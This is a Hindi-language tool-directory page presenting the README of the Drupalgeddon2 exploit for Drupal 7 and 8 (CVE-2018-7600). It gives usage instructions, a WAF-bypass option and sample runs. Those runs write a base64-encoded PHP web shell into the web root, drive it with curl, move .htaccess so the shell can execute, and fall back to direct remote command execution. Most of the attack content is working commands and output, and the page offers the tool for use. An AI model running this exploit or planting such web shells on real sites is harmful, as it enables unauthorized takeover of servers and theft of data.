Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/dreadlocked/drupalgeddon2
पेलोड जनरेशनभेद्यता विश्लेषणशोषणशेलकोडवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंग
GitHubdreadlocked/drupalgeddon2

Drupalgeddon2

Drupal v7.x + v8.x के लिए एक्सप्लॉइट (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002)

रिपॉजिटरी देखें
600169235 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2018-7600 | Drupal 8.5.x < 8.5.1 / 8.4.x < 8.4.6 / 8.x < 8.3.9 / 7.x? < 7.58 / < 6.x? - 'Drupalgeddon2' RCE (SA-CORE-2018-002)

Drupalggedon2 ~ https://github.com/dreadlocked/Drupalgeddon2/ (https://www.drupal.org/sa-core-2018-002)

समर्थन करता है:

  • Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 ~ user/register URL, account/mail और #post_render पैरामीटर पर हमला, PHP के passthru फ़ंक्शन का उपयोग करके
  • Drupal < 7.58 ~ user/password URL, triggering_element_name फ़ॉर्म और #post_render पैरामीटर पर हमला, PHP के फ़ंक्शन का उपयोग करके
passthru
  • प्रत्यक्ष आदेशों (उर्फ फ़ाइल-रहित विधि) या वेब रूट (./) या उपनिर्देशिकाओं (./sites/default/ और ./sites/default/files/) में PHP शेल लिखने का काम करता है
  • Linux और Windows लक्ष्यों का समर्थन करता है
  • स्वचालित रूप से Drupal संस्करण का पता लगाता है (या एक अच्छा अनुमान लगाता है!)
  • Drupal v8.x के लिए user/register विधि चुनी गई, क्योंकि यह HTTP 200 लौटाएगा, और data JSON प्रतिक्रिया में आउटपुट प्रस्तुत करेगा (timezone/#lazy_builder विधि के लिए कोड को अन-कमेंट करें, जो HTTP 500 और ब्लाइंड लौटाएगा!) (अधिक जानकारी)

    लेखक:

    • Hans Topo (@_dreadlocked)
    • g0tmi1k (@g0tmi1k)

    नोट्स:

    • उन्नत उपयोगकर्ताओं/सेटअप के लिए एक अधिक अनुकूलन योग्य शोषण है। drupalgeddon2-customizable-beta.rb अनुभाग देखें
    • कोई समस्या खोलने से पहले, कृपया, अंत में समस्या निवारण अनुभाग पढ़ें। धन्यवाद!

    उपयोग:

    root@kitploit:~
    $ ruby drupalgeddon2.rb
    Usage: ruby drupalggedon2.rb <target> [--verbose] [--authentication]
           ruby drupalgeddon2.rb https://example.com
    $
    

    --verbose और --authentication पैरामीटर को के बाद किसी भी क्रम में जोड़ा जा सकता है और दोनों वैकल्पिक हैं। यदि --authentication निर्दिष्ट किया गया है तो आपको सबमिट करने के लिए एक अनुरोध के साथ संकेत दिया जाएगा

    • उपयोगकर्ता नाम,
    • पासवर्ड,
    • उपयोगकर्ता नाम के लिए फ़ॉर्म फ़ील्ड नाम,
    • पासवर्ड के लिए फ़ॉर्म फ़ील्ड नाम,
    • वेब लॉगिन पेज का URL पथ, उदा., user/login
    • फ़ॉर्म सबमिशन में क्रेडेंशियल्स के बाद जोड़ने के लिए अंतिम प्रत्यय, उदा., form_id, आदि।

    यह उन वेबसाइटों का शोषण करने का समर्थन करने के लिए है जिन्हें पहले POST-आधारित वेब लॉगिन की आवश्यकता होती है और जो सफल प्रमाणीकरण पर सत्र कुकी के साथ प्रतिक्रिया देती हैं।

    Drupal v8.x उदाहरण

    Drupal v8.x < v8.3.9 / v8.4.x < v8.4.6 / v8.5.x < v8.5.1

    root@kitploit:~
    $ ./drupalgeddon2.rb http://localhost/drupal-8/
    [*] --==[::#Drupalggedon2::]==--
    --------------------------------------------------------------------------------
    [i] Target : http://localhost/drupal-8/
    --------------------------------------------------------------------------------
    [!] MISSING: http://localhost/drupal-8/CHANGELOG.txt    (HTTP Response: 404)
    [+] Found  : http://localhost/drupal-8/core/CHANGELOG.txt    (HTTP Response: 200)
    [+] Drupal?: v8.x
    --------------------------------------------------------------------------------
    [*] Testing: Code Execution
    [i] Payload: echo TTTBJJBP
    [+] Result : TTTBJJBP
    [+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
    --------------------------------------------------------------------------------
    [*] Testing: Writing To Web Root (./)
    [i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
    --------------------------------------------------------------------------------
    [i] Fake shell:   curl 'http://localhost/drupal-8/s.php' -d 'c=hostname'
    ubuntu140045x64-drupal>> uname -a
    Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
    ubuntu140045x64-drupal>>
    

    Drupal v7.x उदाहरण

    Drupal < v7.58

    root@kitploit:~
    $ ./drupalgeddon2.rb http://localhost/drupal-7/
    [*] --==[::#Drupalggedon2::]==--
    --------------------------------------------------------------------------------
    [i] Target : http://localhost/drupal-7/
    --------------------------------------------------------------------------------
    [+] Found  : http://localhost/drupal-7/CHANGELOG.txt    (HTTP Response: 200)
    [+] Drupal!: v7.31
    --------------------------------------------------------------------------------
    [*] Testing: Code Execution
    [i] Payload: echo TKYPVVJJ
    [+] Result : TKYPVVJJ
    [+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
    --------------------------------------------------------------------------------
    [*] Testing: Writing To Web Root (./)
    [i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
    --------------------------------------------------------------------------------
    [i] Fake shell:   curl 'http://localhost/drupal-7/s.php' -d 'c=hostname'
    
    ubuntu140045x64-drupal>> uptime
     14:52:33 up 4 days,  3:35,  1 user,  load average: 0.00, 0.01, 0.05
    ubuntu140045x64-drupal>>
    

    प्रत्यक्ष आदेश / गैर-PHP शेल (उर्फ फ़ाइल-रहित विधि)

    यदि आप वेब सर्वर पर PHP वेब शेल लिखने का प्रयास भी नहीं करना चाहते हैं, तो फ़ाइल को संपादित करें जैसा दिखाया गया है (यदि यह लिखने योग्य स्थान नहीं ढूंढ पाता है तो यह वापस गिर जाएगा):

    root@kitploit:~
    try_phpshelltryphpshell = false
    

    उदाहरण

    root@kitploit:~
    $ ./drupalgeddon2.rb http://localhost/drupal-nonwrite/
    [*] --==[::#Drupalggedon2::]==--
    --------------------------------------------------------------------------------
    [i] Target : http://localhost/drupal-nonwrite/
    --------------------------------------------------------------------------------
    [!] MISSING: http://localhost/drupal-nonwrite/CHANGELOG.txt    (HTTP Response: 404)
    [+] Found  : http://localhost/drupal-nonwrite/core/CHANGELOG.txt    (HTTP Response: 200)
    [+] Drupal?: v8.x
    --------------------------------------------------------------------------------
    [*] Testing: Code Execution
    [i] Payload: echo HYCBAIET
    [+] Result : HYCBAIET
    [+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
    --------------------------------------------------------------------------------
    [*] Testing: Writing To Web Root (./)
    [i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)...    Might not have write access?
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    [*] Testing: Writing To Web Root (sites/default/)
    [i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)...    Might not have write access?
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    [*] Testing: Writing To Web Root (sites/default/files/)
    [*] Moving : ./sites/default/files/.htaccess
    [i] Payload: mv -f sites/default/files/.htaccess sites/default/files/.htaccess-bak; echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/files/s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [!] Target is NOT exploitable for some reason [1] (HTTP Response: 403)...    May not be able to execute PHP from here?
    [!] FAILED: Couldn't find writeable web path
    --------------------------------------------------------------------------------
    [*] Dropping back to direct commands
    drupalgeddon2>> lsb_release -a
    Distributor ID:	Ubuntu
    Description:	Ubuntu 14.04.5 LTS
    Release:	14.04
    Codename:	trusty
    drupalgeddon2>>
    

    प्रॉक्सी समर्थन

    प्रॉक्सी समर्थन (जैसे Burp) के लिए, फ़ाइल को संपादित करें, अपने मानों से बदलें। उदाहरण:

    root@kitploit:~
    proxy_addr = "192.168.0.130"
    proxy_port = 8080
    

    प्रायोगिक लेकिन उपयोग योग्य: drupalgeddon2-customizable-beta.rb

    drupalgeddon2-customizable-beta.rb अधिक उन्नत उपयोगकर्ताओं के लिए है क्योंकि यह अधिक अनुकूलन योग्य है। यह आपको कुछ और पैरामीटर निर्दिष्ट करने की अनुमति देता है जैसे कि उपयोग करने के लिए PHP विधि (केवल system() या passthru() नहीं) और उपयोगकर्ता/पासवर्ड फ़ॉर्म तक पहुंचने का तरीका।

    उपयोग उदाहरण:

    root@kitploit:~
    Usage example: ./drupalgeddon-customizable-beta.rb -u http://example.com/ -v 7 -c id
    More info: -h
        -u, --url URL                    [Required] Service URL
        -v, --version VERSION            [Required] Target Drupal version {7,8}
        -c, --command COMMAND            [Required] Command to execute
        -m, --method PHP_METHOD          [Optional] PHP Method to use, by default: passthru
            --form                       [Optional] Form to attack, by default '/user/password' in Drupal 7 and '/user/register' in Drupal 8
            --cloudflare                 [Optional] Tries to bypass Cloudflare using Lua-Nginx +100 parameters WAF Bypass
        -h, --help                       Prints this help
    

    समस्या निवारण:

    • जब भी cannot load such file "LoadError" प्रकार की त्रुटि मिलती है, तो sudo gem install <missing dependency> चलाएं। विशेष रूप से, आपको sudo gem install highline के साथ highline निर्भरता स्थापित करने की आवश्यकता हो सकती है।

    • लक्ष्य किसी अन्य पथ पर रीडायरेक्ट कर सकता है, जहां Drupal मौजूद है (जैसे HTTP 30x प्रतिक्रियाएं)

      • समाधान: सुनिश्चित करें कि आप सही Drupal पथ का उपयोग कर रहे हैं
    • पेलोड/कमांड में उपयोग किए जा सकने वाले अनुमत वर्णों की एक सीमा है

      • समाधान: यह इस कारण है कि भेद्यता उन्हें कैसे देखती है और URL अनुरोध के लिए उन्हें एन्कोड किया जाता है। पेलोड को एन्कोड करें, लक्ष्य पर इसे डिकोड करें। जैसे base64
    • यदि लक्ष्य Linux है, और "GNU base64" का उपयोग नहीं कर रहा है, तो यह BSD संस्करण हो सकता है (या बिल्कुल स्थापित नहीं!)

      • समाधान: base64 -D का उपयोग करें (बजाय base64 -d) या फ़ाइल-रहित विधि का उपयोग करें
    • यदि लक्ष्य Windows का उपयोग कर रहा है, तो PHP शेल लिखना हमेशा विफल रहता है

      • समाधान: फ़ाइल-रहित विधि का उपयोग करें। ऐसा इसलिए है क्योंकि यूनिक्स प्रोग्राम को पाइप मिलता है, न कि certutil या PowerShell का उपयोग करके
    • Drupal v8.x - ./.htaccess उन PHP स्क्रिप्ट्स को ./sites/default/ में निष्पादित होने से रोकेगा यदि वह लिखने योग्य फ़ोल्डर है

      • समाधान: फ़ाइल-रहित विधि पर स्विच करें
    • Drupal v8.x - लक्ष्य पर "clean URL" सक्षम नहीं है

      • समाधान: N/A - भेद्य नहीं =(
    • Drupal v7.x - यदि /user/password फ़ॉर्म अक्षम है, तो आपको दूसरा फ़ॉर्म खोजना होगा (एक्सप्लॉइट को बदलना याद रखें!)

      • समाधान: form_id पैरामीटर भेद्यता का शोषण करने के लिए उपयोग किए जाने वाले फ़ॉर्म के आधार पर बदल जाएगा

    लिंक:

    • Drupal SA-CORE-2018-002 परामर्श ~ https://www.drupal.org/sa-core-2018-002
    • CVE ~ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7600
    • लेख और अनुसंधान ~ https://research.checkpoint.com/uncovering-drupalgeddon-2/
    • cURL कमांड/नमूना PoC ~ https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708
    टूल डाउनलोड करें